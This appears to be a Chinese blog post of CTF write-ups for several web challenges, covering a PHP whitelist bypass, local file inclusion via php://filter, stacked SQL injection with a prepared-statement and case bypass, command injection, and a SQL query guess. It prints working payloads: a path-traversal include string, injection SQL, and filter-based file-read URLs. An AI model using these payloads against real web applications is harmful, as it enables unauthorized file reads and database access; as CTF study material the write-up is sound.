CTF刷题01

[HCTF 2018]WarmUp

打开之后发现是一个滑稽
image
审查源码发现source.php
image
打开souce.php发现是一道代码审计题目

<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {//如果page有内容或者page类型为字符串就不进入条件
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {//如果page在数组whitelist中存在则返回true
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')//mb_strpos()函数返回要查找的字符串在别一个字符串中首次出现的位置
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')//判断?的字符串部分是否存在于$whitelist中
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

在checkFile函数里有四个if
第一个 if 语句,对变量进行检验,要求$ page为字符串,否则返回 false。
第二个 if 语句,判断$ page是否存在于$ whitelist数组中,存在则返回 true。
第三个 if 语句,截取传进参数中首次出现?之前的部分,判断该部分是否存在于$ whitelist数组中,存在则返回 true。
第四个 if 语句,先对构造的 payload 进行 url 解码,再截取传进参数中首次出现?之前的部分,并判断该部分是否存在于$ whitelist中,存在则返回 true。

若以上四个if语句满足一个即可返回 true,若均未满足,则返回 false。

这里我们的目标其实只要满足第三个if就行
所以构造payload
?file=source.php?/../../../../ffffllllaaaagggg

[ACTF2020 新生赛]Include

打开发现一个tips,点进去
image

审查源码之后也没有找到什么
image
再根据题目的include可以推断这里有本地文件或者远程文件包含漏洞,本地文件包含中有一个利用方式就是通过php伪协议加上filiter过滤器可以读取文件的源码
https://blog.csdn.net/qq_29419013/article/details/81201494)
(https://blog.csdn.net/woshilnp/article/details/117266628)
得到
image
base64解码后可以得到flag

[强网杯 2019]随便注

打开环境发现是这样
image
先show一个tables?inject=1';show tables--+
image

查找字段?inject=1';show columns from `1919810931114514`--+这里有一个小知识点,纯数字的表要用反引号括起来
image

看到了flag字段我们知道flag应该是在这里面,我们根据学到的bypass技巧来查询这个flag
此处存在着堆叠注入,所以捏我们就可以想到用预编译的方法来bypass(https://blog.csdn.net/nicesa/article/details/106390405)
(https://www.bilibili.com/read/cv5071554/)

-1';set @sql = CONCAT('sele','ct * from `1919810931114514`;');prepare aaa from @sql;EXECUTE aaa;#

set @sql = CONCAT('sele','ct * from 1919810931114514;')
//这里就是定义了一个sql变量赋值为CONCAT('sele','ct * from 1919810931114514;')
prepare aaa from @sql
//即定义了一个sql变量组成的预编译语句 变量名为aaa
EXECUTE aaa//执行aaa变量,就是拼接CONCAT('sele','ct * from 1919810931114514;')这个语句并执行

但是还是被拦截了
image
那我们就可以使用大小写绕过
image
得到flag
image

此题还有两种解法
①handler查询
mysql可以使用select查询表中的数据,也可以使用handle语句,这条语句是一行一行的浏览表中的数据
使用方法:
handler table_name open打开一张表
handel table_name read first读取第一行内容,
handel table_name read next依次获取其它行
最后一行执行之后再执行handel table_name read next会返回一个空的结果。
②我们可以通过修改表中的数据来查询flag

[ACTF2020 新生赛]Exec

image
打开发现是一个ping框
image
根据标头可以知道这可能是一题命令执行
直接
image
得到目录
image
查看flag
image
linux命令还需熟练
https://www.runoob.com/w3cnote/linux-common-command-2.html
(https://www.runoob.com/linux/linux-command-manual.html)

[SUCTF 2019]EasySQL

一打开发现是一个搜索框
image

我们要根据这个搜索框来猜解他的后端代码(https://blog.csdn.net/qq_43619533/article/details/103434935)
(https://blog.csdn.net/qq_46485934/article/details/108811483)
这样就需要我们能够基本熟练的运用php才能解出这一道题目
我们姑且猜解后端的代码为

sql = "select".sql = "select ".sql="select".post[‘query’]."||flag from Flag";

如果$post[‘query’]的数据为*,1,sql语句就变成了select *,1||flag from Flag,也就是select *,1 from Flag
得到flag

[极客大挑战 2019]Secret File

在源码里面捉迷藏了一下 我们找到了secr3t.php进入
image
发现题目不允许我们提交的file参数包含这几个字符
image
strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data"
看到data和input我们就可以联想到php伪协议我们就能够回想起php://filter输入输出流的应用,直接

secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php

得到flag
这个思考的思路流程也很完整(https://blog.csdn.net/ratear/article/details/109540674)

posted @ 2022-05-08 15:33  smart_ql  阅读(136)  评论(0编辑  收藏  举报